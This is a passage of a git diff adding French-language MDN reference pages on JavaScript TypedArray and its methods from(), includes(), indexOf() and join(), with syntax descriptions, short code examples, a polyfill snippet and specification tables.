+ <li>d'<a href="/fr/docs/Web/JavaScript/Guide/iterable">objets itérables</a> (par exemple des objets {{jsxref("Map")}} ou {{jsxref("Set")}}).</li>
+</ul>
+
+<p><code>Array.from</code> possède un paramètre optionnel <code>fonctionMap</code>, qui permet d'exécuter une fonction {{jsxref("Array.prototype.map", "map")}} sur chacun des éléments du tableau typé (ou de l'instance de la classe fille) qui est créé. Autrement dit <code><var>TypedArray</var>.from(obj, fonctionMap, thisArg)</code> correspond exactement à <code><var>TypedArray</var>.from(obj).map(fonctionMap, thisArg)</code>.</p>
+
+<p>Il existe de légères différences entre {{jsxref("Array.from()")}} et <code><var>TypedArray</var>.from()</code> :</p>
+
+<ul>
+ <li>Si la valeur de <code>this</code> passée à <code><var>TypedArray</var>.from</code> n'est pas un constructeur, <code><var>TypedArray</var>.from</code> lèvera une exception {{jsxref("TypeError")}}, tandis que <code>Array.from</code> créera un nouvel objet {{jsxref("Array")}}.</li>
+ <li><code><var>TypedArray</var>.from</code> utilise <code>[[Set]]</code> tandis que <code>Array.from</code> utilise <code>[[DefineProperty]]</code>. Ainsi par exemple lorsque des objets {{jsxref("Proxy")}} sont manipulés la première méthode appellera {{jsxref("Objets_globaux/Proxy/handler/set", "handler.set")}} pour créer les nouveaux éléments et la seconde appellera {{jsxref("Objets_globaux/Proxy/handler/defineProperty", "handler.defineProperty")}}.</li>
+ <li>Lorsque <code>source</code> est un itérable, <code><var>TypedArray</var>.from</code> va dans un premier temps récupérer toutes ses valeurs, puis initialiser une instance de <code>this</code> à l'aide de leur nombre, et enfin ajouter ces valeurs à l'instance. <code>Array.from</code> ajoute les valeurs au nouvel objet lors du parcours de l'itérateur et ne définit la taille de l'objet qu'en dernière étape.</li>
+ <li>Si <code>Array.from</code> reçoit un objet semblable à un tableau qui n'est pas un itérable, les valeurs non définies sont conservées. <code><var>TypedArray</var>.from</code> construit un objet dense en éliminant ces valeurs.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// Set (objet itérable)
+var s = new Set([1, 2, 3]);
+Uint8Array.from(s);
+// Uint8Array [ 1, 2, 3 ]
+
+
+// String
+Int16Array.from("123");
+// Int16Array [ 1, 2, 3 ]
+
+
+// En utilisant un fonction fléchée en tant que
+// fonctionMap pour manipuler les éléments
+Float32Array.from([1, 2, 3], x =&gt; x + x);
+// Float32Array [ 2, 4, 6 ]
+
+
+// Pour construire une séquence de nombres
+Uint8Array.from({length: 5}, (v, k) =&gt; k);
+// Uint8Array [ 0, 1, 2, 3, 4 ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.from', '%TypedArray%.from')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.from', '%TypedArray%.from')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.from")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/includes/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/includes/index.html
new file mode 100644
index 0000000000..84ff7ecc17
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/includes/index.html
@@ -0,0 +1,86 @@
+---
+title: TypedArray.prototype.includes()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/includes
+tags:
+  - ECMAScript 2016
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/includes
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>includes()</strong></code> détermine si un tableau typé possède un certain élément et renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Cette méthode utilise le même algorithme que la méthode {{jsxref("Array.prototype.includes()")}}. Dans le reste de l'article <em>TypedArray</em> fait référence à un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableau typé</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-includes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.includes(élémentRecherché[, <var>indiceDébut</var>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élémentRecherché</code></dt>
+ <dd>L'élément qu'on cherche au sein du tableau typé.</dd>
+ <dt><code>indiceDébut</code></dt>
+ <dd>Paramètre optionnel qui correspond à la position du tableau à partir de laquelle effectuer la recherche. La valeur par défaut est 0.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen indiquant la présence de l'élément (<code>true</code> s'il y est, <code>false</code> sinon).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1,2,3]);
+uint8.includes(2);     // true
+uint8.includes(4);     // false
+uint8.includes(3, 3);  // false
+
+// Gestion de NaN (vrai uniquement pour Float32 et Float64)
+new Uint8Array([NaN]).includes(NaN); // false car NaN est converti en 0 par le constructeur
+new Float32Array([NaN]).includes(NaN); // true;
+new Float64Array([NaN]).includes(NaN); // true;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.includes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/index.html
new file mode 100644
index 0000000000..aa22e02160
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/index.html
@@ -0,0 +1,286 @@
+---
+title: TypedArray
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray
+tags:
+  - JavaScript
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p>Un objet <strong><em>TypedArray</em></strong> décrit une vue organisée à la façon d'un tableau pour manipuler <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer">un tampon (<em>buffer</em>) de données binaires</a>. <code>TypedArray</code> n'est pas une propriété globale, il n'existe pas non plus de constructeur <code>TypedArray</code>.  En revanche, plusieurs propriétés globales existent et leurs valeurs permettent de construire des tableaux typés (<em>typed arrays</em>) avec différents types de données. Ceux-ci sont listés ci-après. Les pages suivantes permettent de décrire les propriétés et méthodes qui peuvent être utilisées sur les différents tableaux typés.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new<em> TypedArray</em>(<var>longueur</var>);
+new <em>TypedArray</em>(<var>tableauTypé</var>);
+new <em>TypedArray</em>(<var>objet</var>);
+new <em>TypedArray</em>(<var>tampon</var> [, <var>décalageEnOctet</var> [, <var>longueur</var>]]);
+
+// où <em>TypedArray()</em> est l'un de :
+
+Int8Array();
+Uint8Array();
+Uint8ClampedArray();
+Int16Array();
+Uint16Array();
+Int32Array();
+Uint32Array();
+Float32Array();
+Float64Array();
+BigInt64Array();
+BigUint64Array();
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>longueur</code></dt>
+ <dd>Lorsque le constructeur est appelé avec un argument <code>longueur</code>, un tableau typé sera créé, contenant autant de zéros que <code>longueur</code> (par exemple avec une longueur de 3, on aura un tableau dont les trois éléments seront des zéros).</dd>
+ <dt><code>tableauTypé</code></dt>
+ <dd>Lorsque le constructeur est appelé avec un argument <code>tableauTypé</code>, qui peut être un tableau typé de n'importe quel type (par exemple <code>Int32Array</code>), le <code>tableauTypé</code> est copié dans un nouveau tableau typé. Chaque valeur du <code>tableauTypé</code> est convertie dans le type correspondant du nouveau tableau. Enfin, la longueur du tableau typé est fixée avec la longueur de <code>tableauTypé</code>.</dd>
+ <dt><code>objet</code></dt>
+ <dd>Lorsque le constructeur est invoqué avec un argument <code>objet</code>, un nouveau tableau typé est créé avec la méthode <code><em>TypedArray</em>.from()</code>.</dd>
+ <dt><code>tampon</code>,<code> décalageOctet</code>, <code> longueur</code></dt>
+ <dd>Lorsque le constructeur est appelé avec un <code>tampon</code> (<em>buffer</em>) ainsi qu'avec les paramètres optionnels <code>décalageOctet</code> et <code>longueur</code>, un nouveau tableau typé est créé comme une vue pour l'objet {{jsxref("ArrayBuffer")}}. Les paramètres <code>décalageOctet</code> et <code>longueur</code> permettent de définir l'intervalle de mémoire du buffer qui est présenté dans la vue qu'est le tableau typé. Si les deux derniers paramètres sont absents, l'ensemble du <code>tampon</code> sera considéré. Si <code>longueur </code>est absent, on considèrera l'ensemble de <code>tampon</code> à partir de l'octet <em>décalageOctet</em>.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>ECMAScript 2015 (ES6) définit un constructeur <code>%TypedArray%</code> qui est un <code>[[Prototype]]</code> de tous les constructeurs <em>TypedArray</em>. Ce constructeur n'est pas accessible directement. Il n'existe pas de  <code>%TypedArray%</code> global ou de propriété <code>TypedArray</code>.  Il est uniquement accessible via <code>Object.getPrototypeOf(Int8Array.prototype)</code> ou avec les méthodes semblables. L'ensemble des différents constructeurs <em>TypedArray</em>s hérite de propriétés communes de la fonction <code>%TypedArray%</code>. De plus, tous les prototypes des tableaux typés (<em>TypedArray</em><code>.prototype</code>) ont <code>%TypedArray%.prototype</code> pour <code>[[Prototype]]</code>.</p>
+
+<p>Le constructeur <code>%TypedArray%</code> en tant que tel n'est pas très utile. Toute tentative d'appel ou d'utilisation avec une expression <code>new</code> renverra <code>TypeError</code>, sauf quand il est utilisé par le moteur JavaScript lors de la création de l'objet quand le moteur supporte les sous-classes. À l'heure actuelle, il n'existe pas de tels moteurs, pour cette raison <code>%TypedArray%</code> est uniquement utile dans les fonctions d'émulation (<em>polyfill</em>) our pour les propriétés des différents constructeurs <em>TypedArray</em>.</p>
+
+<p>Lorsqu'on crée une instance de <em>TypedArray</em> (ex. une instance de <code>Int8Array</code> ou autre), un tampon de mémoire tableau est créé en interne par le moteur (si un objet <code>ArrayBuffer</code> est passé en argument, c'est celui-ci qui est utilisé). C'est l'adresse de cette mémoire tampon qui est sauvegardée comme une propriété interne à l'objet. Toutes les méthodes de <code>%TypedArray%.prototype</code> utiliseront ensuite cet espace pour les opérations.</p>
+
+<h3 id="Accès_aux_propriétés">Accès aux propriétés</h3>
+
+<p>Il est possible d'accéder aux éléments du tableau en utilisant la notation usuelle avec les crochets. Cependant, définir ou accéder à des propriétés indexées ne se fera pas avec la chaîne de prototypes, même si l'indice utilisé est en dehors des limites du tableau. Les propriétés indexées seront uniquement basées sur le contenu du {{jsxref("ArrayBuffer")}} et ne consulteront pas les propriétés des objets. En revanche, il est toujours possible d'utiliser des propriétés nommées, comme avec les autres objets.</p>
+
+<pre class="brush: js">// Définir et accéder du contenu avec la syntaxe usuelle
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+
+// Les propriétés indexées sur les prototypes ne sont pas consultées (Fx 25)
+Int8Array.prototype[20] = "toto";
+(new Int8Array(32))[20]; // 0
+// y compris en dehors des limites
+Int8Array.prototype[20] = "toto";
+(new Int8Array(8))[20]; // undefined
+// ou avec des index négatifs
+Int8Array.prototype[-1] = "toto";
+(new Int8Array(8))[-1]; // undefined
+
+// Mais il est possible d'utiliser des propriétés nommées (Fx 30)
+Int8Array.prototype.toto = "truc";
+(new Int8Array(32)).toto; // "truc" </pre>
+
+<h2 id="Les_objets_TypedArray">Les objets <code>TypedArray</code></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Type</td>
+   <td class="header">Intervalle</td>
+   <td class="header">Taille (exprimée en octets)</td>
+   <td class="header">Description</td>
+   <td class="header">Type Web IDL</td>
+   <td class="header">Type équivalent en C</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td>-128 à 127</td>
+   <td>1</td>
+   <td>Entier signé en complément à deux sur 8 bits.</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td>0 à 255</td>
+   <td>1</td>
+   <td>Entier non signé sur 8 bits.</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td>0 à 255</td>
+   <td>1</td>
+   <td>Entier non signé sur 8 bits (compris entre 0 et 255).</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td>-32768 à 32767</td>
+   <td>2</td>
+   <td>Entier signé en complément à deux sur 16 bits.</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td>0 à 65535</td>
+   <td>2</td>
+   <td>Entier non signé sur 16 bits.</td>
+   <td><code>unsigned short</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td>-2147483648 à 2147483647</td>
+   <td>4</td>
+   <td>Entier signé en complément à deux sur 32 bits.</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td>0 à 4294967295</td>
+   <td>4</td>
+   <td>Entier non signé sur 32 bits.</td>
+   <td><code>unsigned long</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td>1.2x10<sup>-38</sup> à 3.4x10<sup>38</sup></td>
+   <td>4</td>
+   <td>Nombre flottant sur 32 bits selon la représentation IEEE (7 chiffres significatifs).</td>
+   <td><code>unrestricted float</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td>5.0x10<sup>-324</sup> à 1.8x10<sup>308</sup></td>
+   <td>8</td>
+   <td>Nombre flottant sur 64 bits selon la représentation IEEE (16 chiffres significatifs).</td>
+   <td><code>unrestricted double</code></td>
+   <td><code>double</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigInt64Array")}}</td>
+   <td>-2<sup>63</sup> à 2<sup>63</sup>-1</td>
+   <td>8</td>
+   <td>Nombre entier signé sur 64 bits en complément à deux.</td>
+   <td><code>bigint</code></td>
+   <td><code>int64_t (signed long long)</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigUint64Array")}}</td>
+   <td>0 à 2<sup>64</sup>-1</td>
+   <td>8</td>
+   <td>Nombre entier non signé sur 64 bits.</td>
+   <td><code>bigint</code></td>
+   <td><code>uint64_t (unsigned long long)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Cette propriété renvoie un nombre correspondant à la taille d'un élément du tableau selon le type de tableau utilisé.</dd>
+ <dt><em>TypedArray</em>.length</dt>
+ <dd>La propriété de longueur, elle vaut 3.</dd>
+ <dt>{{jsxref("TypedArray.name")}}</dt>
+ <dd>Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur (par exemple "Int8Array").</dd>
+ <dt>{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}</dt>
+ <dd>La fonction de construction utilisée pour créer des objets dérivés.</dd>
+ <dt>{{jsxref("TypedArray.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from()")}}</dt>
+ <dd>Cette méthode permet de créer un nouveau tableau typé à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of()")}}</dt>
+ <dd>Cette méthode permet de créer un nouveau tableau typé à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_TypedArray">Prototype <code>TypedArray</code></h2>
+
+<p>Toutes les instances de <em>TypedArray</em>s héritent de {{jsxref("TypedArray.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype','Propriétés')}}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype','Méthodes')}}</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>La plupart des méthodes des tableaux typés peuvent être en partie émulées grâce aux méthodes rattachées à {{jsxref("Array")}} :</p>
+
+<pre class="brush: js">var typedArrayTypes = [Int8Array, Uint8Array, Uint8ClampedArray, Int16Array, Uint16Array, ​​​Int32Array, Uint32Array, ​​​Float32Array, Float64Array];
+for (var k in typedArrayTypes){
+  for (var v in Array.prototype){
+    if (Array.prototype.hasOwnProperty(v) &amp;&amp;
+  ​​​​​         !typedArrayTypes[k].prototype.hasOwnProperty(v)){
+      typedArrayTypes[k].prototype[v] = Array.prototype[v];
+    }
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Défini comme <code>TypedArray</code> et interface <code>ArrayBufferView</code> avec les différents types de vues des tableaux typés. Cette spécification a été englobée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié les constructeurs <code><em>TypedArray</em></code> afin qu'ils utilisent l'opération <code>ToIndex</code> et puissent être utilisés sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), les constructeurs <code>TypedArray</code> doivent être utilisés avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>TypedArray</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Float64Array([1, 2, 3]);
+// TypeError: calling a builtin Float64Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Float64Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/indexof/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/indexof/index.html
new file mode 100644
index 0000000000..0713bfd101
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/indexof/index.html
@@ -0,0 +1,92 @@
+---
+title: TypedArray.prototype.indexOf()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/indexOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>indexOf()</strong></code> renvoie le premier indice (le plus petit) auquel on peut trouver un élément donné dans le tableau typé. Si l'élément n'est pas trouvé, la valeur de retour sera -1. L'algorithme utilisé pour cette méthode est le même que celui pour {{jsxref("Array.prototype.indexOf()")}}. Pour le reste de l'article <em>TypedArray</em> correspond à l'un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableau typé</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-indexof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.<var>indexOf(élémentRecherché[, indiceDébut = 0])</var></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>élémentRecherché</code></dt>
+ <dd>L'élément qu'on souhaite situer dans le tableau typé.</dd>
+ <dt><code>indiceDébut</code></dt>
+ <dd>Paramètre optionnel représentant l'indice à partir duquel commencer la recherche de l'élément. Si l'indice est supérieur ou égal à la longueur du tableau, la méthode renverra -1 et le tableau typé ne sera pas parcouru. Si la valeur fournie est négative, la recherche commencera à partir de l'élément situé à l'indice <code>length-indiceDébut</code>. Note : même si la valeur fournie est négative, le parcours du tableau typé s'effectuera toujours du plus petit index vers le plus grand. Si la valeur calculée pour l'indice de début est inférieure à 0, l'ensemble du tableau typé sera parcouru. La valeur par défaut de ce paramètre est 0 (tout le tableau est parcouru).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le premier indice du tableau pour lequel l'élément a été trouvé, <code>-1</code> s'il n'a pas été trouvé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>indexOf</code> compare <code>élémentRecherché</code> aux éléments du tableau typé en utilisant l'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Using_the_Equality_Operators">égalité stricte</a> (celle utilisée par l'opérateur ===).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([2, 5, 9]);
+uint8.indexOf(2);     // 0
+uint8.indexOf(7);     // -1
+uint8.indexOf(9, 2);  // 2
+uint8.indexOf(2, -1); // -1
+uint8.indexOf(2, -3); // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.indexOf")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus <code>-0</code>. Ainsi, <code>new Uint8Array([0]).indexOf(0, -0)</code> renverra toujours <code>+0</code> (cf. {{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/join/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/join/index.html
new file mode 100644
index 0000000000..59ad42335e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/join/index.html
@@ -0,0 +1,92 @@
+---
+title: TypedArray.prototype.join()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/join
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/join
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>join()</strong></code> fusionne l'ensemble des éléments d'un tableau en une chaîne de caractères. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.join()")}}. Dans le reste de cet article <em>TypedArray</em> fait référence à l'un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-join.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.join([<var>séparateur</var> = ',']);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>séparateur</code></dt>
+ <dd>Paramètre optionnel qui définit la chaîne de caractères à utiliser pour séparer chaque élément. Si nécessaire, le séparateur sera converti en une chaîne de caractère. La valeur par défaut du paramètre est une virgule (",").</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères formée par la concaténation des différents éléments du tableau typé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1,2,3]);
+uint8.join();      // '1,2,3'
+uint8.join(' / '); // '1 / 2 / 3'
+uint8.join('');    // '123'
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Il n'existe pas d'objet global <em>TypedArray</em>, il faut donc ajouter une prothèse correspondant à chaque type de tableau typé.</p>
+
